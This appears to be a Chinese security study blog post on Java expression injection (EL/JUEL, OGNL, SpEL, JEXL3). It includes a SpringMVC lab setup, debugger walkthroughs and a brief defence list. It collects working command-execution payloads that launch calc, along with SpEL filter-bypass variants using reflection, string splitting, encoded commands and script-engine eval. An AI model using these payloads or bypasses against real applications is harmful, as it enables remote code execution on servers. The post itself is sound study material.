Java表达式注入学习

参考:

Java安全学习—表达式注入

表达式注入

浅析EL表达式注入漏洞

一文读懂OGNL漏洞

ONGL表达式注入浅析

SpEL表达式注入漏洞总结

SPEL表达式注入总结及回显技术

Nexus Repository Manager3 JEXL3表达式注入浅析

SpringMVC环境搭建

先初始化个SpringMVC的项目,可以参考这个速通一下JavaSpringMVC

新建个module先,取名随意,我这里是参考视频里搞了个

idea-1.png

进去后改下pom.xml然后记得maven刷一下

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.evo1</groupId>
<artifactId>ExpressionInject</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>ExpressionInject Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.2.10.RELEASE</version>
</dependency>
</dependencies>
<build>
<finalName>ExpressionInject</finalName>
<plugins>
<plugin>
<groupId>org.apache.tomcat.maven</groupId>
<artifactId>tomcat7-maven-plugin</artifactId>
<version>2.1</version>
<configuration>
<port>80</port>
<path>/</path>
</configuration>
</plugin>
</plugins>
</build>
</project>

然后是放在com.evo1.config下的各个配置文件

SpringMvcConfig

package com.evo1.config;

import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.EnableWebMvc;

@Configuration
@ComponentScan("com.evo1.controller")
@EnableWebMvc
public class SpringMvcConfig {
}

SpringConfig

package com.evo1.config;

import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;

@Configuration
@ComponentScan("com.evo1.controller")
public class SpringConfig {
}

ServletContainersInitConfig

package com.evo1.config;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.AnnotationConfigWebApplicationContext;
import org.springframework.web.filter.CharacterEncodingFilter;
import org.springframework.web.servlet.support.AbstractDispatcherServletInitializer;

import javax.servlet.Filter;

public class ServletContainersInitConfig extends AbstractDispatcherServletInitializer {
protected WebApplicationContext createServletApplicationContext() {
AnnotationConfigWebApplicationContext ctx = new AnnotationConfigWebApplicationContext();
ctx.register(SpringMvcConfig.class);
return ctx;
}

protected String[] getServletMappings() {
return new String[]{"/"};
}

protected WebApplicationContext createRootApplicationContext() {
return null;
}

// 解决乱码问题(仅仅可以POST)
@Override
protected Filter[] getServletFilters() {
CharacterEncodingFilter filter = new CharacterEncodingFilter();
filter.setEncoding("UTF-8");
return new Filter[]{filter};
}
}

com.evo1.controller下写个路由测试下

HelloSpringMvc

package com.evo1.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class HelloSpringMvc {

@RequestMapping("/hello")
@ResponseBody
public String hello(){
System.out.println("Hello SpringMVC!");
return "Hello SpringMVC!";
}
}

最后简单配置下

idea-2.png

运行后访问http://127.0.0.1/hello即可

EL表达式

基础知识可以去看浅析EL表达式注入漏洞学习,这里简单复现一下里面的东西

先自己写一个简单的测试类ELFunc

package com.evo1.test;

public class ELFunc {
public static String doSomething(String string) {
return "Hello " + string + " !";
}
}

然后在WEB-INF目录下创建test.tld

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<tlib-version>1.0</tlib-version>
<short-name>ELFunc</short-name>
<uri>http://127.0.0.1/ELFunc</uri>
<function>
<name>doSomething</name>
<function-class>com.evo1.test.ELFunc</function-class>
<function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
</function>
</taglib>

最后创建一个eltest.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page isELIgnored="false" %> <%-- 这里是开启EL表达式 --%>
<%@taglib uri="http://127.0.0.1/ELFunc" prefix="ELFunc"%>
<html>
<head>
<title>ElTest</title>
</head>
<body>
${ELFunc:doSomething("evo1")}
</body>
</html>

运行后访问http://127.0.0.1/eltest.jsp即可

el-1.png

这里还有一些通用PoC

//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

//弹计算器
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

CVE-2011-2730

JUEL

安装一些依赖

<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-api</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-spi</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-impl</artifactId>
<version>2.2.7</version>
</dependency>

新建个文件运行下即可

package com.evo1.test;

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;


public class ELShell {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
String shell = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}";
// 利用ScriptEngine调用JS引擎绕过
// String shell = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")}";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, shell, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}

防御方法

  • 尽量不使用外部输入的内容作为EL表达式内容;
  • 若使用,则严格过滤EL表达式注入漏洞的payload关键字;
  • 如果是排查Java程序中JUEL相关代码,则搜索如下关键类方法:
javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()

OGNL表达式

先安一下相关依赖,这里先装个低版本的方便后面调试payload

<!-- https://mvnrepository.com/artifact/ognl/ognl -->
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>2.7.3</version>
</dependency>

然后创建相关类

SchoolMaster

package com.evo1.test;

public class SchoolMaster {
private String name = "schoolmaster";

public SchoolMaster() {
}

public SchoolMaster(String name) {
this.name = name;
}

/**
* 获取
* @return name
*/
public String getName() {
return name;
}

/**
* 设置
* @param name
*/
public void setName(String name) {
this.name = name;
}

public String toString() {
return "SchoolMaster{name = " + name + "}";
}
}

School

package com.evo1.test;

public class School {
private String name = "school";
private SchoolMaster schoolMaster;

public School() {
}

public School(String name, SchoolMaster schoolMaster) {
this.name = name;
this.schoolMaster = schoolMaster;
}

/**
* 获取
* @return name
*/
public String getName() {
return name;
}

/**
* 设置
* @param name
*/
public void setName(String name) {
this.name = name;
}

/**
* 获取
* @return schoolMaster
*/
public SchoolMaster getSchoolMaster() {
return schoolMaster;
}

/**
* 设置
* @param schoolMaster
*/
public void setSchoolMaster(SchoolMaster schoolMaster) {
this.schoolMaster = schoolMaster;
}

public String toString() {
return "School{name = " + name + ", schoolMaster = " + schoolMaster + "}";
}
}

Student

package com.evo1.test;

public class Student {
private String name = "student";
private School school;

public Student() {
}

public Student(String name, School school) {
this.name = name;
this.school = school;
}

/**
* 获取
* @return name
*/
public String getName() {
return name;
}

/**
* 设置
* @param name
*/
public void setName(String name) {
this.name = name;
}

/**
* 获取
* @return school
*/
public School getSchool() {
return school;
}

/**
* 设置
* @param school
*/
public void setSchool(School school) {
this.school = school;
}

public String toString() {
return "Student{name = " + name + ", school = " + school + "}";
}
}

最后创建一个测试类

package com.evo1.test;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class OgnlTest {
public static void main(String[] args) throws OgnlException {
// 创建Student对象
School school = new School();
school.setName("tsinghua");
school.setSchoolMaster(new SchoolMaster("wanghua"));
Student student1 = new Student();
student1.setName("xiaoming");
student1.setSchool(school);
Student student2 = new Student();
student2.setName("zhangsan");
student2.setSchool(school);

// 创建上下文环境
OgnlContext context = new OgnlContext();
// 设置跟对象root
context.setRoot(student1);
context.put("student2", student2);
// 获取ognl的root相关值
Object name1 = Ognl.getValue("name", context, context.getRoot());
Object school1 = Ognl.getValue("school.name", context, context.getRoot());
Object schoolMaster1 = Ognl.getValue("school.schoolMaster.name", context, context.getRoot());
System.out.println(name1 + ":学校-" + school1 + ",校长-"+schoolMaster1);
// 获取ognl非root相关值
Object name2 = Ognl.getValue("#student2.name", context, context.getRoot());
Object school2 = Ognl.getValue("#student2.school.name", context, context.getRoot());
Object schoolMaster2 = Ognl.getValue("#student2.school.schoolMaster.name", context, context.getRoot());
System.out.println(name2 + ":学校-" + school2 + ",校长-"+schoolMaster2);
}
}

相关知识点可以看这里一文读懂OGNL漏洞学一下,这里贴一些常用payload

// 获取 Context 里面的变量.
#user
#user.name

// 使用 Runtime 执行系统命令.
@java.lang.Runtime@getRuntime().exec("open -a Calculator")


// 使用 Processbuilder 执行系统命令.
(new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a", "Calculator"})).start()

// 获取当前路径.
@java.lang.System@getProperty("user.dir")

OGNL 2.7.3版本

写一个demo

package com.evo1.test;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

import java.io.IOException;

public class OgnlTest {
public static void main(String[] args) throws OgnlException, IOException {
OgnlContext ognlContext = new OgnlContext();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", ognlContext, ognlContext.getRoot());
}
}

断点打在getValue进调试,会进入Ognl的getValue

ognl-1.png

进去后会来到Ognl的另一个getValue

ognl-2.png

继续进去后会来到Ognl的又一个getValue,在这里注意一下里面的ASTChain,在OGNL中解析和执行都是通过ASTXXXXX这种方法来完成的

ognl-3.png

接下来进入node.getValue会跳转到SimpleNodegetValue,然后进入其中的evaluateGetValueBody

ognl-4.png

ognl-5.png

这里会判断是不是const然后调用不同方法

ognl-6.png

来到ASTChain的getValueBody,这里会调用子节点的getValue

ognl-7.png

这里会不断重复上面的流程,直接来看命令被执行的这一次,会跟进到ASTMethodgetValueBody

ognl-8.png

然后来到了OgnlcallAppropriateMethod

ognl-9.png

最后在invokeMethod中被执行

ognl-10.png

OGNL 3.2.18版本

先切换一下版本

<!-- https://mvnrepository.com/artifact/ognl/ognl -->
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.2.18</version>
</dependency>

Ognl>=3.1.25、Ognl>=3.2.12配置了黑名单检测

ognl-11.png

SPEL表达式

这里的T中的内容会被解析为对应的类

package com.evo1.test;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class SpelTest {
public static void main(String[] args) {
String cmdStr = "T(java.lang.String)";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println(exp.getValue());//弹出计算器
}
}

网上抄的一些常见的poc(更多更详细的可以看看大b的SPEL表达式注入总结及回显技术

// PoC原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

******************************************************************************
// Bypass技巧

// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

JEXL3表达式

老规矩先添加依赖

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-jexl3</artifactId>
<version>3.0</version>
</dependency>

然后写个测试类测试下即可

package com.evo1.test;

import org.apache.commons.jexl3.*;

public class JexlTest {
public static void main(String[] args) {
JexlEngine jexl = new JexlBuilder().create();

JexlContext jc = new MapContext();
Foo foo = new Foo();
Integer number = new Integer(9999);
jc.set("foo", foo);
jc.set("number", number);

JexlExpression e = jexl.createExpression("foo.getFoo()");
Object o = e.evaluate(jc);
System.out.println("value returned by the method getFoo() is : " + o + " | " + foo.getFoo());

e = jexl.createExpression("foo.convert(1)");
o = e.evaluate(jc);
System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(1));

e = jexl.createExpression("foo.convert(number)");
o = e.evaluate(jc);
System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(9999));

e = jexl.createExpression("foo.bar");
o = e.evaluate(jc);
System.out.println("value returned for the property 'bar' is : " + o + " | " + foo.get("bar"));
}


public static class Foo {
public String getFoo() {
return "This is from getFoo()";
}

public String get(String arg) {
return "This is the property " + arg;
}

public String convert(long i) {
return "The value is : " + i;
}
}
}

RCE

写个例子

package com.evo1.test;

import org.apache.commons.jexl3.*;

public class JexlTest {
public static void main(String[] args) {
String Exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('calc')";

JexlEngine engine = new JexlBuilder().create();
JexlExpression Expression = engine.createExpression(Exp);

JexlContext Context = new MapContext();

Object rs = Expression.evaluate(Context);
System.out.println(rs);
}
}

具体调试分析可以看Nexus Repository Manager3 JEXL3表达式注入浅析学习,这里简单过一下evaluate这部分,断点打在Expression.evaluate

jexl-1.png

来到Script的evaluate,继续跟进

jexl-2.png

jexl-3.png

jexl-4.png

然后会来到Interpreter的visit方法,这里会循环几次,在最后执行的一次跟进其中的jjtAccept方法

jexl-5.png

继续跟进

jexl-6.png

跟进其中的call方法

jexl-7.png

最后调用了MethodExecutor的invoke方法

jexl-8.png

jexl-9.png